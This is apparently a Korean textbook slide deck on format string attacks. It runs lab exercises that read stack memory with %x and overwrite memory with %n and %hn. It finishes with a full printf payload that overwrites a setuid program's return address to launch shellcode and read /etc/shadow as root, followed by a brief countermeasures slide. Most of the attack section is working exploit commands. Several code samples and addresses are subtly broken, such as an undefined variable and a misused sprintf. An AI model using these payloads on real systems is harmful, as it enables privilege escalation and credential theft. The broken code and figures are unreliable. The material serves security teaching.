420 likes | 998 Views
8. 포맷 스트링. 학습목표 포맷 스트링의 취약점을 이해한다. 포맷 스트링 문자를 이용해 스택 값을 읽을 수 있다. 포맷 스트링 문자를 이용해 임의의 주소 값을 변경할 수 있다. 포맷 스트링 공격을 수행할 수 있다. 포맷 스트링 공격를 방어할 수 있다. 내용 포맷 스트링 공격 포맷 스트링 공격에 대한 대응책. 포맷 스트링 공격. 포맷 스트링 공격 1990 년대 말 알려지기 시작 formatstring.c 와 같이 buffer 에 저장된 문자열을 printf 함수 이용해 출력
E N D
8 포맷 스트링
학습목표 • 포맷 스트링의 취약점을 이해한다. • 포맷 스트링 문자를 이용해 스택 값을 읽을 수 있다. • 포맷 스트링 문자를 이용해 임의의 주소 값을 변경할 수 있다. • 포맷 스트링 공격을 수행할 수 있다. • 포맷 스트링 공격를 방어할 수 있다. • 내용 • 포맷 스트링 공격 • 포맷 스트링 공격에 대한 대응책
포맷 스트링 공격 • 포맷 스트링 공격 • 1990년대 말 알려지기 시작 • formatstring.c와 같이 buffer에 저장된 문자열을 printf 함수 이용해 출력 • 이것이 정상적인 코드 작성법, 사용된 %s와 같은 문자열을 가리켜 포맷 스트링이라 함. • formatstring.c • #include <stdio.h> • main(){ • char *buffer = "wishfree"; • printf("%s\n", buffer); • }
포맷 스트링 공격 [표 8-1] 포맷 스트링 종류
test1.c 컴파일과 실행 [그림 8-1] test1.c 컴파일 및 실행 결과 실습 8-1 포맷 스트링 공격 원리 이해하기 • test1.c • #include <stdio.h> • main(){ • char *buffer = "wishfree\n"; • printf(buffer); • } 1 • gcc -o test1 test1.c • ./test1
test2.c 컴파일과 실행 wishfree 문자열 외에 8048440 출력 이 숫자는 wishfree 문자열이 저장된 다음 메모리에 존재하는 값 0x8048440을의미 [그림 8-2] test2.c 컴파일 및 실행 결과 실습 8-1 포맷 스트링 공격 원리 이해하기 • test2.c • #include <stdio.h> • main(){ • char *buffer = "wishfree\n%x\n"; • printf(buffer); • } 2 • gcc -g -o test2 test2.c • ./test2
gdb에서 0x8048440 값을 확인 printf(buffer); 행에 브레이크 포인트 설정 [그림 8-3] test2 브레이크 포인트 설정 실습 8-1 포맷 스트링 공격 원리 이해하기 • gdb test2 • list • break 5
&buffer 주소에 있는 값이 가리키는 값은 wishfree\n%x\n [그림 8-4] test2 의 buffer를 기준으로 스택 확인 실습 8-1 포맷 스트링 공격 원리 이해하기 • run • print *buffer • print buffer • print &buffer
&buffer 값과 buffer 값의 관계 [그림 8-5] &buffer 주소에 있는 값이 가리키는 값 확인 실습 8-1 포맷 스트링 공격 원리 이해하기
test3.c 컴파일과 실행 test2.c의char *buffer 값에 %x\n%x\n을 추가한 test3.c를 컴파일 gdb로test2.c처럼 스택 값 확인 실습 8-1 포맷 스트링 공격 원리 이해하기 • test3.c • #include <stdio.h> • main(){ • char *buffer = "wishfree\n%x\n%x\n%x\n"; • printf(buffer); • } 3
printf(buffer);에 브레이크 포인트 설정, 실행 [그림 8-7] test3.c 컴파일 및 브레이크 포인트 설정 실습 8-1 포맷 스트링 공격 원리 이해하기 • gcc -g -o test3 test3.c • gdb test3 • list • break 5 • run
&buffer를 기준으로 스택 값 조회하면 0x8048440, 0xbffffd68, 0x400309cb 값 확인 wishfree 문자열 다음 출력되는 값들(0x8048440, 0xbffffd68,0x400309cb)과 일치 ‘wishfree\n%x\n%x\n%x\n’포맷 스트링으로 실행하면, wishfree 다음 \n%x\n%x\n%x\n의 %x 3개가 문자열 자기 자신과 뒤로 이어지는 스택에 저장된 주소 값 출력 [그림 8-8] test3 실행 시 스택 값과 출력 값의 확인 실습 8-1 포맷 스트링 공격 원리 이해하기 • print buffer • print &buffer • x/8xw &buffer • c
test4.c 컴파일과 실행 포맷 스트링을 이용하면 메모리 내용을볼수있을뿐아니라, 변조도가능 실습 8-1 포맷 스트링 공격 원리 이해하기 • test4.c • #include <stdio.h> • main(){ • long i = 0x00000064, j = 1; • printf("i의 주소 : %x\n", &i); • printf("i의 값 : %x\n", i); • printf("%64d%n\n", j, &i); • printf("변경된 i의 값 : %x\n", i); • } 4
printf“( %64d%n\n”, j, &i) : i의주소값에, j에64의16진수값을입력 test4.c를 컴파일, 실행하면 64가 16진수인 0x40로 출력 [그림 8-9] test4.c 실행 결과 실습 8-1 포맷 스트링 공격 원리 이해하기 • gcc -o test4 test4.c • ./test4
test5.c 컴파일과 실행 test5.c는 프로그램 실행 시 메모리 내용 조회가능한 dumpcode.h 파일 함께 사용 실습 8-1 포맷 스트링 공격 원리 이해하기 • test5.c • #include <stdio.h> • #include "dumpcode.h" • main() { • char buffer[64]; • fgets(buffer, 63, stdin); • printf(buffer); • dumpcode((char *)buffer, 96); • } 5 • dumpcode.h • void printchar(unsigned char c) { • if(isprint(c)) • printf("%c", c); • else • printf("."); • }
실습 8-1 포맷 스트링 공격 원리 이해하기 • void dumpcode(unsigned char *buff, int len) { • int i; • for(i=0;i<len;i++) { • if(i%16==0) • printf("0x%08x ", &buff[i]); • printf("%02x ", buff[i]); • if(i%16-15==0) { • int j; • printf(" "); • for(j=I-15;j<=i;j++) • printchar(buff[j]); • printf("\n"); • } • } • if(i%16!=0) { • int j; • int spaces=(len-i+16-i%16)*3+2; • for(j=0;j<spaces;j++) • printf(" "); • for(j=i-i%16;j<len;j++) • printchar(buff[j]); • } • printf("\n"); • }
test5.c 컴파일, 실행 [그림 8-10] test5.c 실행 결과 실습 8-1 포맷 스트링 공격 원리 이해하기 • gcc -o test5 test5.c • ./test5 • AAAAAAAA
포맷 스트링 문자를 이용한 메모리 값 변조 아래와 같이 입력하고 실행 [그림 8-11] printf 함수를 이용한 문자열 출력 실습 8-1 포맷 스트링 공격 원리 이해하기 • printf "\x41\x41\x41\x41\x42\x42\x42\x42" 6
printf 함수는 아스키 코드 값을 Hex로 입력해 해당 문자열 출력 printf 함수 이용해 test5.c에 실행 인수 전달 포맷 스트링에서는 다음과 같이 cat 문과 파이프(|) 이용 [그림 8-12] 0xbffffd78 주소에 0x00000009 값 입력 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%c%%n"; cat) | ./test5
0xbffffd78∼0xbfffd7c 주소까지의 bcfdffbf(0xbffffdbc) 값이 09 00 00 00(0x00000009)로 바뀜,09는 문자의 개수(\x41\x41\x41\x41\x98\xfd\xff\xbf와 %c까지 합해 9개의 문자) %%n을%%hn으로 입력(%대신%%로 쓰는 것은 cat 지나면서% 하나는사라지기 때문) → 0xbffffd78∼0xbfffd7a 2바이트만이 (09 00)로 바뀜 [그림 8-13] 0xbffffd78 주소에 0x0009 값 입력 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%c%%hn"; cat) | ./test5
포맷 스트링 문자를 이용한 메모리 값을 특정 값으로 변조 %%c 대신 %%64d 입력 [그림 8-14] test5를 이용해 0xbffffd98 주소에 0x0048 값 입력 48 00으로 바뀜. 0x48은 10진수로 72(64+8) 이 72는‘\x41\x41\x41\x41\x98\xfd\xff\xbf’문자열의 길이(8바이트)와 %%64d의 64를합한숫자 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%64d%%hn"; cat) | ./test5 7
포맷 스트링 문자를 이용한 메모리 값을 특정 주소 값으로 변조 0xbfffd78∼ 0xbfffd7c 값을 bc fa ab bf (0xbfabfabc)로 바꿔보자. bfabfabc를 10진수로 바꾼 값 3215719100에서 앞의 8개 문자열의 개수를 제한 값%%3215719092d 시험 [그림 8-15] test5를 이용해 0xbffffd78 주소에 입력 가능 범위 이상의 수 입력 프로그램 비정상적 종료(x86 시스템은 3215719092와 같이 큰 수를 CPU에서 바로 인식할 수 없기 때문) 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%3215719092d%%n"; cat) | ./test5 8
2바이트씩 나누어 입력해 뒤의 2바이트 0xfabc 입력 0xfabc는 10진수로 64188 결국%%64180d가 됨(입력)→2바이트 변경 완료 [그림 8-16] test5를 이용해 0xbffffd98 주소에 0xfabc 값 입력 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf%%64180d%%hn"; cat) | ./test5
나머지 2바이트 변경 0xbfabfabc는‘-1079248196(0xbfabfabc-0x100000000)’, 스택에 1bfab(114603)을 넣기 위해 이미 입력한 64180을 빼고 50423을 입력 [그림 8-17] test5를 이용해 0xbffffd78 주소에 0xbfbcfac5 값 입력 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf\x41\x41\x41\x41\x7a\xfd\xff\xbf • %%64180d%%hn%%50423d%%hn"; cat) | ./test5
64180d 앞에 \x41\x41\x41\x41\x98\xfd\xff\xbf\x41\x41\x41\x41\x9a \xfd\xff\xbf 총 16개의 문자가 있으므로 원래의 0xfabc(64188)을 표현 위해 64172(64188-16)로 바꾸어야 함 다음에는 합이 0x1bfab(114603)가 되어야 하므로 나머지 값은 114603-(16+64172) 50415가 됨 [그림 8-18] test5를 이용해 0xbffffd78 주소에 0xbfabfabc 값 입력 실습 8-1 포맷 스트링 공격 원리 이해하기 • (printf "\x41\x41\x41\x41\x78\xfd\xff\xbf\x41\x41\x41\x41\x7a\xfd\xff\xbf • %%64172d%%hn%%50415d%%hn"; cat) | ./test5
format_bugfile.c/ eggshell.c 컴파일과 권한 부여 및 실행 프로그램인 format_bugfile.c과 공격 셸을 띄우기 위한 eggshell 컴파일 [그림 8-19] format_bugfile의 동작 확인 실습 8-2 포맷 스트링 공격 수행하기 • format_bugfile.c • #include <stdio.h> • main(){ • int i =0; • char buf[64]; • memset(buf, 0, 64); • read(0, buf, 64); • printf(buf); • dumpcode((char *)buffer, 96); • } 1 • gcc -o format_bugfile format_bugfile.c • gcc -o eggshell eggshell.c • chmod 4755 ./format_bugfile • ./format_bugfile • AAAAAA
ret 주소 확인 AAAAAA와 함께 적당한 길이의%x 입력 [그림 8-20] format_bugfile에 포맷 스트링 문자를 입력할 때 동작 확인 실습 8-2 포맷 스트링 공격 수행하기 • ./format_bugfile • AAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 2
➊ 입력 값으로 넣은 AAAAAA 문자열의 정상적인 출력 값 ➋ 스택에 입력된 앞 부분AAAA 값의 아스키 코드 값(41) ➌ 상위 스택에 저장된AA 값에 대한 아스키 코드 값 ➍ int i=0으로 필자가 확인 지점으로 입력해둔 0이 저장 ➎ 이 함수의 저장된 ebp 값(sfp) ➏ main 함수의 ret 값 실습 8-2 포맷 스트링 공격 수행하기 • AAAAAA4141414125204141 78252078 20782520 25207825 78252078 • ➊ ➋ ➌ • 20782520 25207825 78252078 20782520 25207825 78252078 20782520 • 25207825 78252078 a782520 0bffffd68400309cb • ➍ ➎ ➏
Gab에서 주소 확인 해당 메모리의 주소도 확인 [그림 8-22] format_bugfile의 main 함수의 어셈블리어 코드 확인 실습 8-2 포맷 스트링 공격 수행하기 • gdb format_bugfile • disass main 3
sfp와 ret 확인 위해 main+3에 브레이크 포인트 설정 실행 [그림 8-23] sfp와 ret 값을 확인하기 위한 break 지점 설정 후 실행 ➏값인0x4000309cb가 우리가 생각한 ret와 일치 [그림 8-24] sfp와 ret 값의 주소 값 확인 format_bugfile이 실행되어 0xbfffd38에 sfp, 0xbfffd3c에 ret 주소가 저장 실습 8-2 포맷 스트링 공격 수행하기 • break *0x804842b • run • info reg $ebp • x/12 $ebp
실제 ret 주소 확인 eggshell이 메모리에 계속 남게 되므로, ret 주소 값도 달라짐 이러한 실행에서는 단순히 상대적인 실행 주소 확인 Sfp 값인 bffffd68와 확인한 0xbffffd3c 값의 차이 0x2c 이용해야 함 [그림 8-25] eggshell의 실행 실습 8-2 포맷 스트링 공격 수행하기 • su wishfree • ./eggshell 4
eggshell을 올린 후 다시 format_bugfile을 실행해 sfp 주소 확인 Sfp는 0xbffff368, sfp와 ret 주소 값의 차이가 0x2c,ret 주소는 0xbffff33c (0xbffff368- 0x2c)가 될 것 [그림 8-26] eggshell의 실행 후 변화된 format_bugfile의 sfp 확인 실습 8-2 포맷 스트링 공격 수행하기 • ./format_bugfile • AAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x
포맷 스트링 공격 수행 format_bugfile의 ret 주소(0xbffff33c∼0xbffff33f)에 eggshell에서 확보한 0xbffffd38 입력 0xbffffd18에 1을 붙여 1bfff와 fd18로 나누고 각각 10진수를 구한다. 0xbffff33c에는 49895(114687-64792) 값 입력 0xbffff33e에는 주소지에 대한 값인 16개의 문자가 들어가므로 64776(64792-16)입력 (printf““;cat) | ./bugfile 형식에 위의 코드를 입력해 실제 공격 [그림 8-27] 포맷 스트링 공격 실시 실습 8-2 포맷 스트링 공격 수행하기 • ./format_bugfile • AAAAAA %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x %x 5 • \x41\x41\x41\x41\x3c\xf3\xff\xbf\x41\x41\x41\x41\x3e\xf3\xff\xbf%%64776d%%h • n%%49895d%%hn • (printf "\x41\x41\x41\x41\x3c\xf3\xff\xbf\x41\x41\x41\x41\x3e\xf3\xff\xbf% • %64776d%%hn%%49895d%%hn";cat) | ./format_bugfile
관리자 계정 획득 [그림 8-28] 관리자 권한 확인 실습 8-2 포맷 스트링 공격 수행하기 • id • cat /etc/shadow
포맷 스트링 공격에 대한 대응책 • printf 함수를 정상적으로 사용하여 공격에 대응 • 포맷 스트링 공격 취약점을 가진 함수 • fprintf(fp, 서식 문자열, 인자1, ... , 인자N) 함수 • sprintf(char *str, const char *fmt,...) 함수 • snprintf(char *str, size_t count, const char *fmt, ...) 함수 • printf("%s\n", buffer); • fp= fopen("/dev/null", "w"); // 파일을 쓰기 모드로 오픈 • fprintf(fp, "decimal=%d octal=%o", 123,123); • a= sprintf("decimal= %d octal= %o", 123,123); • print(" ", a); • decimal= 123 octal= 173